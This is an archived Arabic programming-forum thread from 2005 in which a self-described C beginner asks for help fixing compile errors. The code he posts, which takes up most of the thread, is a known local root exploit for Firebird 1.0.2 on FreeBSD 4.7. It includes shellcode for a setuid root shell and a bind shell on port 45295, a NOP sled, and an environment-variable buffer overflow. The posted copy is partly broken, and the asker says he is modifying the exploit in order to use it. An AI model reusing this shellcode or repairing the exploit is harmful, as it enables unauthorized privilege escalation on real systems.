الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مساعده في c

مغلق
بدأه HiTLeR في 13 يوليو 2005 · 13 رد · 802 مشاهدة · في الأسئلة المجابة
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

انا مبتدئ في c وماصارلي اكثر من شهر فيها وواجهت صعوبه في سطرحيث عندما اعمل كومبايل للبرنامج يظهر انه هناك خطأ في هذا السطر ارجو من الخبراء ادلالي على الخطأ

signed long ret =0xbfbff743;

شاكر لكم الرد مسبقًا

تم تعديل هذه المشاركة بواسطة HiTLeR في 13 يوليو 2005 في 23:31

#2

شيل ال signed من الكود

banner_60_468.gif

NOTHING IS IMPOSSIBLE

#3

اخي شلته ولكن عند الترجمه ظهر نفس الخطأ وهذا هو نص الخطأ بوجود signed

c:\documents and settings\tcc\desktop\book\ahmed1111.c: line 86: incompatible types in initializer

'long ret =0xbfbff743'

aborting compile

ارجو الرد لانها معطله اشغال كثيره عندي

#4

اخواني وينكم انا محتاج هالكود كثيرًا وتأخره يأخرني للأسف ممكن تقولون لي وين الخطأ ةفيه عشان اعدله

#5

حط الكود كله ..

انا جربت السطر اللي انت حطيته و لم يحصل عندي اي خطأ.

#6

نعم كما قال الاخ حسن انا برضة جربتة من فترة ومافيش خطأ حدث

Muhammad Allam

Computer Science

@Resource(MappedURL="My Blog" )

#7
int main(int argc, char **argv)
{

	unsigned long ret =0xbfbff743;	
  
	char *selectcode;
	char buffer[LEN];
	char egg[1024];
	char *ptr;
	int i=0;

 }

هذا هو جزء من الكود كله واللي فيه الخطا

تم تعديل هذه المشاركة بواسطة HiTLeR في 14 يوليو 2005 في 22:24

#8

لا يظهر عندي اي خطأ.

شوف الاسطر اللي قبلها .. يمكن تكون ناسي فارزة منقوطة ; او شي من هالقبيل

#9

اخوي مافي شي غلط فوق والكومبايل يقول الخطا في هالسطر ولكن انا سأرفق الكود كله وارجو الاطلاع عليه وللأهميه ادلالي على الخطأ

الكود :

/* DSR-firebird.c
 -------------------------------
Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE 
This is Proof Of concept code.
bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( ( by - bob@dtors.net ) )
----------------------------------------------------

Usage: ./DSR-firebird <target#> 
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop

bash-2.05a$
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056

char dropcode[]=
 "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" 
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
  "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; 

char inetcode[]=
 "\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" 
 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
  "\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; 



char lockcode[]= 
	"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
	"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"
	"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob
	"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee
	"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
	"\x61\xcd\x80\x89\xc7\x31\xc0\x50"
	"\x50\x50\x66\x68\xb0\xef\xb7\x02"
 "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
 "\x53\x51\x57\x50\xb0\x68\xcd\x80"
 "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
 "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
 "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
 "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
 "\xe2\x50\x51\x52\xb3\x14\x53\x50"
 "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
 "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
 "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
 "\x39\xc3\x75\x44\x31\xc0\x57\x50"
 "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
 "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
 "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
 "\x80\x31\xc0\x43\x53\x56\x50\xb0"
 "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
 "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
 "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
 "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
 "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
 "\xeb\x9a";

char *decide(char *string)
{
 if(!(strcmp(string, "1")))
 return((char *)inetcode);
 if(!(strcmp(string, "2")))
 return((char *)lockcode);
 if(!(strcmp(string, "3")))
 return((char *)dropcode);
 exit(0);
}

int main(int argc, char **argv)
{

	unsigned long ret =0xbfbff743;
  
	char *selectcode;
	char buffer[LEN];
	char egg[1024];
	char *ptr;
	int i=0;

 }

	if(argc < 2)
	{
  printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n"); 
  printf("( ( by - bob@dtors.net ) )\n");
  printf("----------------------------------------------------\n\n");
  printf("Usage: %s <target#> \n", argv[0]);
  printf("Targets:\n");
  printf("1. [0xbfbff743] - gds_inet_server\n");
  printf("2. [0xbfbff743] - gds_lock_mgr\n");
  printf("3. [0xbfbff743] - gds_drop\n");
  printf("\nwww.dtors.net\n");
  exit(0);
	}

	selectcode = (char *)decide(argv[1]);
  memset(buffer, 0x41, sizeof(buffer));

 ptr = egg;

 for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;
 for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode;
 egg[1024 - 1] = '\0';

 memcpy(egg,"EGG=",4);
 putenv(egg);

 memcpy(&buffer[1052],(char *)&ret,4);
 buffer[1056] = 0;

 setenv("INTERBASE", buffer, 1);

 fprintf(stdout, "Return Address: 0x%x\n", ret);
 fprintf(stdout, "Buffer Size: %d\n", LEN);
 fprintf(stdout, "Setuid [90]\n");

if(selectcode == (char *)&inetcode)
 {
	execl(INET, INET, NULL);
	return 0;
 }

if(selectcode == (char *)&lockcode)
 {
  printf("\nShell is on port 45295\nExploit will hang!\n");
	execl(LOCK, LOCK, NULL)
	return 0;
 }

if(selectcode == (char *)&dropcode)
 {
	execl(DROP, DROP, NULL);
	return 0;
 }

منتظر ردودكم اخواني

#10

اخواني انا صارلي ثلاث ايام انتظركم تدلوني على الخطأ في الكود شنو مافي مبرمجين c في المنتدى ولا ماتحبون تساعدون المبتدئين لأنكم محترفين!!

المشاهدات 66 والردود 8 منهم 4 ردود لي انا ؟؟؟!!!!

اذا ماودكم تساعدون قولولي اشوف حل احسن من اني انتظر عطفكم علي ومساعدتي

ارجو توضيح موقفكم عشان كل واحد يعرف اللي عليه

#11

الأخ هتلر السلام عليكم أنا لست خبيرا لكن سأحاول مساعتدك

قدر المستطاع

لكن لما أخذت الكود وشغلته عندي ظهر ERROR كثير مره وأنت فالبدايه واضع أن عندك خطأ

بالسطر.....لو توضح لي شوي لعل وعسى أساعدك أو أفيدك

أتمنى لك التوفيق والنجاح

أخوك علي

#12

للمشاركة

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#13

و الله عيني مثل ما قلت لك .. انا جربت الكود و ما صار عندي خطأ, لهذا لا بد ان الخطأ هو من مكان آخر, و هذا شي دائما يحصل, اذا كان هناك خطأ في مكان معين فكل شي بعده سيصبح أخطاء لان الكومبايلر لن يفهمه.

بالنسبة للكود الكامل اللذي حضرتك حطيته, لقد جربته و ظهر فيه العديد من الأخطاء, و اعتقد ان هذا نابع من سببين: الأول ان هذا الملف جزء من مشروع اكبر, يعني يعتمد على ملفات أخرى.

و السبب الثاني باعتقادي هو وجود اخطاء اخرى في الكود نفسه.

و كمثال على ذلك, انزل شوية تحت تعريف main و ستجد ان حجمه صغير جدا:

int main(int argc, char **argv)
{

unsigned long ret =0xbfbff743;

char *selectcode;
char buffer[LEN];
char egg[1024];
char *ptr;
int i=0;

}

و لكن في نفس الوقت تجد تحته سطرا يطلب argc مع ان argc هو جزء من الـ main, فكيف تطلبه خارج الـ main؟

اعتقد ان الخطأ هو في مكان آخر.

بالمناسبة, ما هو الكومبايلر اللذي تستخدمه؟

#14

Miracle C Workbench

مشكور اخوي بس انا قلت اني مبتدأ والبرنامج انا مو كاتبه اهو كود دايم يكون فيه اخطاء ولاستغلاله لازم تعدل عليه انا عدلت عليه شويه ولكن وصلت اني لما اسوي كومبايل يظهر انه الخطأ في هالسطر وساعتها وقفت عن التعديل لاني مقدرت اكمل والسبه هالسطر وهذا الكومبايل مالي كتبته اول الرد ياريت تشوفون لي حل

هذا الموضوع مغلق.

مواضيع مشابهة